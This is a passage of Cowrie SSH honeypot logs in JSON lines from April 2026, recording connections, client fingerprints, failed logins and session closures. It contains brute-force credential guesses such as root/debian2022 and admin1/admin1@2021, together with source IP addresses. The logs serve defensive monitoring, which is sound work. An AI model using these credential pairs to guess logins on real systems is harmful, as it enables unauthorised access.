ha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:24:19.385709Z","src_ip":"45.120.216.232","session":"473fdcabeaf6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"debian2022","message":"login attempt [root/debian2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:24:20.242820Z","src_ip":"45.120.216.232","session":"473fdcabeaf6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:24:21.455295Z","src_ip":"45.120.216.232","session":"473fdcabeaf6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":41800,"dst_ip":"159.203.135.109","dst_port":22,"session":"0810c8269b71","protocol":"ssh","message":"New connection: 159.203.92.129:41800 (159.203.135.109:22) [session: 0810c8269b71]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:24:46.148664Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:24:46.154135Z","src_ip":"159.203.92.129","session":"0810c8269b71","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:24:46.164576Z","src_ip":"159.203.92.129","session":"0810c8269b71","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1@2020","message":"login attempt [admin1/admin1@2020] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:24:46.183548Z","src_ip":"159.203.92.129","session":"0810c8269b71","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:24:47.191189Z","src_ip":"159.203.92.129","session":"0810c8269b71","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.120.216.232","src_port":34396,"dst_ip":"159.203.135.109","dst_port":22,"session":"62f22c5e4d2b","protocol":"ssh","message":"New connection: 45.120.216.232:34396 (159.203.135.109:22) [session: 62f22c5e4d2b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:25:20.735762Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:25:20.742468Z","src_ip":"45.120.216.232","session":"62f22c5e4d2b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:25:20.986073Z","src_ip":"45.120.216.232","session":"62f22c5e4d2b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test03","password":"test","message":"login attempt [test03/test] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:25:21.986125Z","src_ip":"45.120.216.232","session":"62f22c5e4d2b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:25:23.231577Z","src_ip":"45.120.216.232","session":"62f22c5e4d2b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33204,"dst_ip":"159.203.135.109","dst_port":22,"session":"f6a799f19304","protocol":"ssh","message":"New connection: 159.203.92.129:33204 (159.203.135.109:22) [session: f6a799f19304]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:25:31.582132Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:25:31.590173Z","src_ip":"159.203.92.129","session":"f6a799f19304","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:25:31.595528Z","src_ip":"159.203.92.129","session":"f6a799f19304","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1@2021","message":"login attempt [admin1/admin1@2021] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:25:31.609632Z","src_ip":"159.203.92.129","session":"f6a799f19304","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:25:32.617962Z","src_ip":"159.203.92.129","session":"f6a799f19304","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":53920,"dst_ip":"159.203.135.109","dst_port":22,"session":"42ffadf4391a","protocol":"ssh","message":"New connection: 194.59.206.2:53920 (159.203.135.109:22) [session: 42ffadf4391a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:25:36.158793Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:25:36.285692Z","src_ip":"194.59.206.2","session":"42ffadf4391a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:25:36.291431Z","src_ip":"194.59.206.2","session":"42ffadf4391a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:25:36.823493Z","src_ip":"194.59.206.2","session":"42ffadf4391a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"161.132.4.167","src_port":52564,"dst_ip":"10.17.0.5","dst_port":22,"session":"67eff8ea7555","protocol":"ssh","message":"New connection: 161.132.4.167:52564 (10.17.0.5:22) [session: 67eff8ea7555]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:25:38.596772Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:25:38.602207Z","src_ip":"161.132.4.167","session":"67eff8ea7555","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:25:38.692720Z","src_ip":"161.132.4.167","session":"67eff8ea7555","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1","message":"login attempt [root/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:25:38.971113Z","src_ip":"161.132.4.167","session":"67eff8ea7555","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:25:40.063435Z","src_ip":"161.132.4.167","session":"67eff8ea7555","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":59660,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7391475fe36","protocol":"ssh","message":"New connection: 159.203.92.129:59660 (159.203.135.109:22) [session: d7391475fe36]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:26:16.398149Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:26:16.403242Z","src_ip":"159.203.92.129","session":"d7391475fe36","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:26:16.407787Z","src_ip":"159.203.92.129","session":"d7391475fe36","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin1","password":"admin1@2022","message":"login attempt [admin1/admin1@2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:26:16.429914Z","src_ip":"159.203.92.129","session":"d7391475fe36","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:26:17.437721Z","src_ip":"159.203.92.129","session":"d7391475fe36","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.120.216.232","src_port":52370,"dst_ip":"159.203.135.109","dst_port":22,"session":"f493810bc456","protocol":"ssh","message":"New connection: 45.120.216.232:52370 (159.203.135.109:22) [session: f493810bc456]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:26:20.295291Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:26:20.299983Z","src_ip":"45.120.216.232","session":"f493810bc456","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:26:20.510641Z","src_ip":"45.120.216.232","session":"f493810bc456","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev","password":"dev","message":"login attempt [dev/dev] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:26:21.384127Z","src_ip":"45.120.216.232","session":"f493810bc456","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:26:22.598620Z","src_ip":"45.120.216.232","session":"f493810bc456","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":6660,"dst_ip":"10.17.0.5","dst_port":22,"session":"7587acc69168","protocol":"ssh","message":"New connection: 87.251.64.176:6660 (10.17.0.5:22) [session: 7587acc69168]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:26:50.442206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T14:26:50.447532Z","src_ip":"87.251.64.176","session":"7587acc69168","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2